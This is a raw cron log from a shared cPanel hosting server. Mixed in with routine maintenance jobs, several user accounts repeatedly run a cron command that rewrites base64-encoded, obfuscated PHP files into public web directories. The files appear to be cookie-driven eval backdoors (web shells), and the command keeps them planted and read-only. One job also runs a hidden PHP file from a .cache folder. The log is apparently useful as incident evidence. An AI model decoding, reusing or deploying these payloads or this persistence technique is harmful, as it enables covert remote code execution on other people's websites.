Mar  1 16:25:01 medusa CROND[19051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:25:01 medusa CROND[19056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[19060]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[19062]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[19064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:25:01 medusa CROND[19066]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:25:01 medusa CROND[19067]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:25:01 medusa CROND[19070]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:25:01 medusa CROND[19068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:25:01 medusa CROND[19071]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:25:01 medusa CROND[19072]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:25:01 medusa CROND[19065]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:25:01 medusa CROND[19063]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:26:02 medusa CROND[8693]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:26:02 medusa CROND[8695]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:26:02 medusa CROND[8694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:26:02 medusa CROND[8696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:26:02 medusa CROND[8697]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:26:02 medusa CROND[8698]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:26:02 medusa CROND[8700]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:26:02 medusa CROND[8701]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:26:02 medusa CROND[8702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:26:02 medusa CROND[8703]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:26:02 medusa CROND[8704]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:26:02 medusa CROND[8706]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:26:02 medusa CROND[8709]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:26:02 medusa CROND[8713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:27:01 medusa CROND[30399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:27:01 medusa CROND[30400]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:27:01 medusa CROND[30401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:27:01 medusa CROND[30402]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:27:01 medusa CROND[30403]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:27:01 medusa CROND[30409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:27:01 medusa CROND[30408]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:27:01 medusa CROND[30404]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:27:01 medusa CROND[30407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:27:01 medusa CROND[30412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:27:01 medusa CROND[30413]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0g